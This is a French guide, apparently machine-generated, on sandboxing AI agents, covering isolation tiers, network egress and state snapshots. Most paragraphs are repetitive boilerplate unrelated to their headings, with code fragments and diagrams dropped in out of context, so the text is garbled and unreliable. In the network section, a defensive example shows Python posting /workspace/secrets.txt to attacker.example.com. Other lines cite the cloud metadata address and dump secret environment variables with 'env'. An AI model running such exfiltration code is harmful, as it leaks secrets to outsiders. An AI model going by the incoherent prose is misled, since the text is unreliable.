Accueil / Articles / Notes pratiques : 5 choses que tout ingénieur en IA doit savoir sur les sandbox d’agents

Notes pratiques : 5 choses que tout ingénieur en IA doit savoir sur les sandbox d’agents

Guide pratique détaillé : 5 choses que tout ingénieur en IA doit savoir sur les sandbox d’agents : contrats, vérifications et emplacements prévus pour du code à intégrer destinés aux équipes qui utilisent ce modèle.

2982 mots

Les notes suivantes reconstituent une approche pratique concernant « 5 choses que tout ingénieur en IA doit savoir sur les sandbox d’agents ». L’accent est mis sur les contrats, les vérifications et les placeholders de code à insérer, plutôt que sur une présentation motivante. Lors de la phase d’aperçu, notez d’abord le contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de rester honnête lors des modifications ultérieures du code. Considérez cette phase comme un contrat entre les entrées et les sorties validées. Donnez des noms aux artefacts, définez les vérifications de succès et refusez toute exécution partielle silencieuse.

Think → Execute → Wait → Think → Execute → Wait

1. Les chiffres de démarrage en froid ne représentent que rarement un agent réel

Les chiffres de démarrage en froid, qui apparaissent rarement, fonctionnent le mieux lorsqu’ils sont considérés comme une donnée mesurable. Capturez un exemple réussi, un cas d’échec ainsi que la note de réversion avant d’élargir le périmètre. Enregistrez les temps d’exécution ainsi que le coût des jetons ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le processus passe d’un environnement de démonstration à des environnements partagés. Gardez l’état du graphe simple et bien typé ; les blocs imbriqués masquent l’identité du nœud qui a écrit tel champ et perturbent la reprise après interruption.

Python
Node.js
npm packages
Python packages
environment variables
filesystem mounts
networking
data-science libraries
browser automation
Git
compilers

Le benchmark du boucle vide

La phase d’évaluation des boucles vides fonctionne le mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et la note de réversion avant d’élargir le périmètre. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du graphe. Maintenez l’état du graphe plat et typé. Les blocs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption.

time ./start-minimal-vm
150 ms
import pandas as pd
import numpy as np
import requests
data = pd.read_csv("dataset.csv")
print(data.describe())
print(2 + 2)

Pourquoi les agents aggravent la situation

Les agents Why permettent à cette étape de fonctionner au mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et la note de réversion avant d’élargir le périmètre. Documentez ensemble le parcours réussi et le parcours de récupération. Les tentatives répétées, les contrôles humains et le traitement des messages non livrés font partie intégrante du produit, et non d’une mise en forme ultérieure. Maintenez l’état des graphes plat et typé. Les blocs imbriqués cachent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption. Les agents Why permettent à cette étape de fonctionner au mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et la note de réversion avant d’élargir le périmètre. Considérez cette étape comme un contrat entre les entrées et les sorties validées. Nommez les artefacts, définites des vérifications de succès et refusez toute complétion partielle silencieuse.

Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox
Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox

L’architecture améliorée : des sandbox chauds

Pour une architecture plus solide, définissez les entrées, le responsable de chaque étape ainsi que les critères d’achèvement avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu, sans avoir à deviner l’état caché. Enregistrez les temps d’exécution ainsi que le coût des tokens ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le processus passe d’un environnement de démonstration à des environnements partagés. Imposez l’approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. La connexion en temps de compilation ne garantit pas pour autant la complétude du processus métier.

┌── Warm Worker
Agent ───────────┼── Warm Worker
                 ├── Warm Worker
                 └── Warm Worker

Ce que vous devez mesurer

Pendant l’étape « Ce que vous devez mesurer », définissez les entrées, le responsable de l’étape et les critères de fin avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du système. Mettez en place une approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. La connexion en temps de compilation ne garantit pas la complétude du processus métier.

"How quickly can Linux boot?"
Agent request
    ↓
Sandbox allocation
    ↓
Filesystem ready
    ↓
Runtime ready
    ↓
Dependencies ready
    ↓
Network ready
    ↓
First command executed

2. La sécurité du sandbox dépend de ce que vous partagez avec vos collègues

Pour la phase où la sécurité du Sandbox dépend de certains facteurs, il faut définir les entrées, le responsable de l’étape et les critères d’arrêt avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu, sans avoir à deviner l’état caché. Documentez conjointement le parcours normal et les procédures de récupération. Les tentatives répétées, les contrôles humains et la gestion des messages non traités font partie intégrante du produit, et non d’améliorations ultérieures. Imposez une approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. Une configuration en temps de compilation ne suffit pas à garantir la complétude du processus métier. Pour la phase où la sécurité du Sandbox dépend de certains facteurs, il faut définir les entrées, le responsable de l’étape et les critères d’arrêt avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu, sans avoir à deviner l’état caché. Considérez cette phase comme un contrat entre les entrées et les sorties validées. Donnez des noms aux artefacts, définites des vérifications de succès et refusez toute complétion partielle silencieuse.

python generated_code.py
Host Linux Kernel
       │
 ┌─────┴─────┐
 │           │
Agent A    Agent B
Container  Container

Le spectre d’isolation du sandbox

Lors de la phase du spectre d’isolation du sandbox, notez d’abord les exigences : entrées requises, signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de rester honnête lors des modifications ultérieures du code. Enregistrez les temps d’exécution ainsi que le coût des tokens ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le processus passe d’un environnement de démonstration à des environnements partagés. Créez un point de contrôle après les étapes coûteuses. La reprise du processus ne doit pas facturer à nouveau la même appel de LLM lorsque l’opérateur réessaie un nœud ultérieur.

Niveau 1 : Isolateurs V8 et WebAssembly

Lors du travail sur l’étape des isolats V8 de niveau 1, notez d’abord le contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de rester honnête lors des modifications ultérieures du code. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du système. Créez des points de contrôle après les étapes coûteuses. Le redémarrage ne doit pas facturer à nouveau la même appel de LLM lorsque l’opérateur réessaie un nœud ultérieur.

~milliseconds
gcc main.c
return userInput.toUpperCase();

Niveau 2 : conteneurs OCI standard

Lors du travail sur l’étape Tier 2 Standard OCI, notez d’abord le contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de garantir l’intégrité des modifications ultérieures du code. Documentez à la fois le parcours normal et le parcours de récupération. Les tentatives répétées, les contrôles humains et la gestion des messages non livrés font partie intégrante du produit, et non d’améliorations apportées ultérieurement. Faites un point après les étapes coûteuses. Le système de reprise ne doit pas facturer à nouveau la même appel LLM lorsque l’opérateur tente à nouveau un nœud ultérieur. Lors du travail sur l’étape Tier 2 Standard OCI, notez d’abord le contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de garantir l’intégrité des modifications ultérieures du code. Considérez cette étape comme un contrat entre les entrées et les sorties validées. Donnez des noms aux artefacts, définites des vérifications de succès et refusez les terminations partielles silencieuses.

Docker
containerd
runc
Kubernetes Pods
Process isolation
Filesystem isolation
Resource limits
Network namespaces
python
node
gcc
git
bash

Niveau 3 : Noyaux en espace utilisateur

La phase des noyaux en espace utilisateur du Niveau 3 fonctionne le mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement exemplaire, un cas d’échec et la note de réversion avant d’élargir le périmètre. Enregistrez les temps d’exécution ainsi que le coût des tokens ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le processus passe de la démonstration aux environnements partagés. Maintenez l’état du graphe plat et typé. Les blocs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption.

Agent
  ↓
Container
  ↓
User-space kernel
  ↓
Host kernel
  ↓
Hardware

Niveau 4 : MicroVMs

Les étapes des MicroVM de niveau 4 fonctionnent le mieux lorsqu’elles sont considérées comme une surface mesurable. Capturez un transcript idéal, un cas d’échec et la note de rollback avant d’élargir le périmètre. Gardez la configuration en dehors du code de l’application. Les fichiers d’environnement, les stocks de secrets et les flags fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du graphe. Maintenez un état du graphe plat et typé. Les blobs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption.

Agent
  ↓
Guest Linux Kernel
  ↓
Virtual Machine Boundary
  ↓
Host Kernel
  ↓
Hardware

3. La sortie réseau peut être plus dangereuse que l’évasion de la sandbox

Le processus d’égrenage de 3 Network fonctionne le mieux lorsqu’il est considéré comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et la note de réversion avant d’élargir le périmètre. Documentez ensemble le parcours normal et le parcours de récupération. Les tentatives répétées, les contrôles humains et le traitement des messages non livrés font partie intégrante du produit, et non d’une mise en forme ultérieure. Maintenez l’état des graphes simple et typé. Les blocs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption. Le processus d’égrenage de 3 Network fonctionne le mieux lorsqu’il est considéré comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et la note de réversion avant d’élargir le périmètre. Considérez cette étape comme un contrat entre les entrées et les sorties validées. Nommez les artefacts, définites des critères de succès et refusez toute complétion partielle silencieuse.

import requests
requests.post(
    "https://attacker.example.com/upload",
    files={"data": open("/workspace/secrets.txt", "rb")}
)
Read file
   ↓
HTTP request
   ↓
Attacker receives data

L’endpoint de métadonnées dangereux

Pour l’étape du point d’entrée métadonnées dangereux, définissez les entrées, le responsable de l’étape et les critères de fin avant de modifier le code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Enregistrez les temps d’exécution ainsi que le coût des jetons ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le parcours passe de l’environnement de démonstration à des environnements partagés. Faites approuver par un humain les actions qui entraînent des dépenses ou modifient des données de production. La connexion en temps de compilation ne garantit pas la complétude du processus métier.

169.254.169.254

Le refus par défaut doit être votre point de départ

Pour une politique par défaut de refus, il convient d’indiquer l’étape concernée, de définir les entrées, le responsable de l’étape ainsi que les critères d’arrêt avant de modifier le code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu, sans avoir à deviner l’état caché. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du système. Imposez une approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. Une connexion effectuée en temps de compilation ne garantit pas la complétude des processus métier.

ALLOW INTERNET
DENY ALL

Évitez de divulguer les variables d’environnement

Pour l’étape « Pas de fuites » dans l’environnement, définissez les entrées, le responsable de l’étape et les critères de sortie avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Documentez conjointement le parcours normal et les scénarios de récupération. Les tentatives répétées, les contrôles humains et la gestion des messages échoués font partie intégrante du produit, et non d’améliorations ultérieures. Imposez une approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. Une configuration en temps de compilation ne suffit pas à garantir la complétude du processus métier. Pour l’étape « Pas de fuites » dans l’environnement, définissez les entrées, le responsable de l’étape et les critères de sortie avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Considérez cette étape comme un contrat entre les entrées et les sorties validées. Donnez des noms aux artefacts, définissez des vérifications de succès et refusez toute complétion partielle silencieuse.

export OPENAI_API_KEY="super-secret-key"
export AWS_SECRET_ACCESS_KEY="..."
export DATABASE_PASSWORD="..."
env

4. Les captures d’état peuvent être plus importantes que le temps de démarrage

Lorsque vous travaillez avec les captures d’état à 4 étapes, notez d’abord le cahier des charges : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de rester honnête lors des modifications ultérieures du code. Enregistrez les temps d’exécution ainsi que le coût des jetons ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite des factures inattendues lorsque le processus passe d’un environnement de démonstration à des environnements partagés. Créez un point de contrôle après les étapes coûteuses. La reprise ne doit pas facturer à nouveau la même appel de LLM lorsque l’opérateur réessaie un nœud ultérieur.

Turn 1
Read repository
Turn 2
Run tests
Turn 3
Tests fail
Turn 4
Edit code
Turn 5
Run tests again
Turn 6
Build application
/workspace
    ├── src/
    ├── package.json
    ├── tests/
    └── node_modules/
Keep VM alive
     ↓
Fast
     ↓
Expensive

Destroy VM
     ↓
Cheap
     ↓
Slow

Entrer les captures d’état

Lors de l’étape d’élaboration des captures d’écran, notez d’abord le contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de rester honnête lors des modifications ultérieures du code. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du système. Créez un point de contrôle après les étapes coûteuses. Le redémarrage ne doit pas facturer à nouveau la même appel de LLM lorsque l’opérateur réessaie un nœud ultérieur.

Running Agent
      ↓
Memory + State
      ↓
Snapshot
      ↓
Object Storage
VM pauses
   ↓
Snapshot saved
   ↓
Resources released
Request
   ↓
Restore snapshot
   ↓
Continue execution
Fast resume
+
Persistent state
+
Lower idle cost

5. Utilisez quatre questions pour choisir votre environnement de test

Lors de la phase des 5 questions « Use four questions », notez d’abord les conditions du contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de garantir l’intégrité des modifications ultérieures du code. Documentez ensemble le parcours normal et le parcours de récupération. Les tentatives répétées, les contrôles humains et la gestion des messages non traités font partie intégrante du produit, et non d’améliorations apportées ultérieurement. Faites des points après les étapes coûteuses. Le système de reprise ne doit pas facturer à nouveau la même appel d’LLM lorsque l’opérateur réessaie un nœud ultérieur. Lors de la phase des 5 questions « Use four questions », notez d’abord les conditions du contrat : les entrées requises, le signal de succès et ce qui se passe en cas d’échec partiel. Cette liste de contrôle permet de garantir l’intégrité des modifications ultérieures du code. Considérez cette phase comme un contrat entre les entrées et les sorties validées. Donnez des noms aux artefacts, définites des vérifications de succès et refusez les terminations partielles silencieuses.

Question 1 : Quel langage le agent a-t-il besoin ?

Question 1 : Quelle étape linguistique fonctionne le mieux lorsqu’elle est considérée comme une surface mesurable ? Capturez un enregistrement exemplaire, un cas d’échec ainsi que la note de réversion avant d’élargir le périmètre. Enregistrez les temps d’exécution ainsi que le coût des tokens ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le parcours passe de l’environnement de démonstration aux environnements partagés. Gardez l’état du graphe plat et typé ; les blocs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption.

const result = calculateSomething(input);
python analysis.py
gcc main.c
git clone ...
npm install ...

Question 2 : Le code est-il fiable ?

La question 2 : le stage fonctionne le mieux lorsqu’il est traité comme une surface mesurable. Capturez un transcript parfait, un cas d’échec et la note de réversion avant d’élargir le périmètre. Gardez la configuration en dehors du code de l’application. Les fichiers d’environnement, les stocks de secrets et les flags fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du graphe. Maintenez l’état du graphe plat et typé. Les blobs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption.

Agent de développement interne

La phase de l’agent développeur interne fonctionne le mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et une note de réversion avant d’élargir le périmètre. Documentez ensemble le parcours normal et le parcours de récupération. Les tentatives répétées, les contrôles humains et le traitement des messages non livrés font partie intégrante du produit, et non d’une mise en forme ultérieure. Maintenez l’état des graphes simple et typé. Les blocs imbriqués masquent le fait que tel nœud a écrit telle champ et perturbent la reprise après interruption. La phase de l’agent développeur interne fonctionne le mieux lorsqu’elle est considérée comme une surface mesurable. Capturez un enregistrement idéal, un cas d’échec et une note de réversion avant d’élargir le périmètre. Considérez cette phase comme un contrat entre les entrées et les sorties validées. Nommez les artefacts, définites des vérifications de succès et refusez toute complétion partielle silencieuse.

Developer
   ↓
Agent
   ↓
Hardened container

Agent multi-locataire public

Pour l’étape de l’agent multi-locataire destiné au grand public, définissez les entrées, le responsable de l’étape et les critères de fin avant de modifier le code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Enregistrez les temps d’exécution ainsi que le coût des jetons ou des requêtes à côté des résultats fonctionnels. Une visibilité précoce des coûts évite les factures inattendues lorsque le parcours passe de l’environnement de démonstration à des environnements partagés. Faites approuver par un humain les actions qui entraînent des dépenses ou modifient des données de production. La connexion en temps de compilation ne garantit pas la complétude du processus métier.

User
  ↓
LLM
  ↓
Generated Code
  ↓
Sandbox

Question 3 : À quoi ressemble le profil vous/O ?

Pour la question 3, définissez les entrées, le responsable de l’étape et les critères de fin avant de modifier du code. Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Conservez la configuration en dehors du code de l’application. Les fichiers d’environnement, les bases de données secrètes et les indicateurs fonctionnels doivent être regroupés en un seul endroit que les opérateurs peuvent auditer sans devoir lire l’ensemble du système. Mettez en place une approbation humaine pour les actions qui entraînent des dépenses ou modifient des données de production. La connexion en temps de compilation ne garantit pas la complétude du processus métier.

for x in data:
    calculate(x)
fork()
fork()
fork()
read()
write()
open()
close()
network()
network()
network()

Question 4 : Avez-vous besoin d’un noyau invité dédié ?

Pour la question 4 : devez-vous préparer, définir les entrées, l’ responsable de l’étape et les critères de sortie avant de modifier le code ? Les opérateurs doivent pouvoir relancer l’étape à partir d’un point de contrôle connu sans deviner l’état caché. Documentez ensemble le parcours normal et les scénarios de récupération. Les tentatives répétées, les contrôles humains et la gestion des messages non traités font partie intégrante du produit, et non d’améliorations ultérieures. Assurez-vous qu’une approbation humaine soit requise pour les actions qui entraînent des dépenses ou modifient des données de production. Une configuration en temps de compilation ne suffit pas à garantir la complétude du processus métier.

Custom kernel modules
Specialized Linux environments
Strong multi-tenant isolation
Hardware-level virtualization boundaries

Liste de contrôle opérationnelle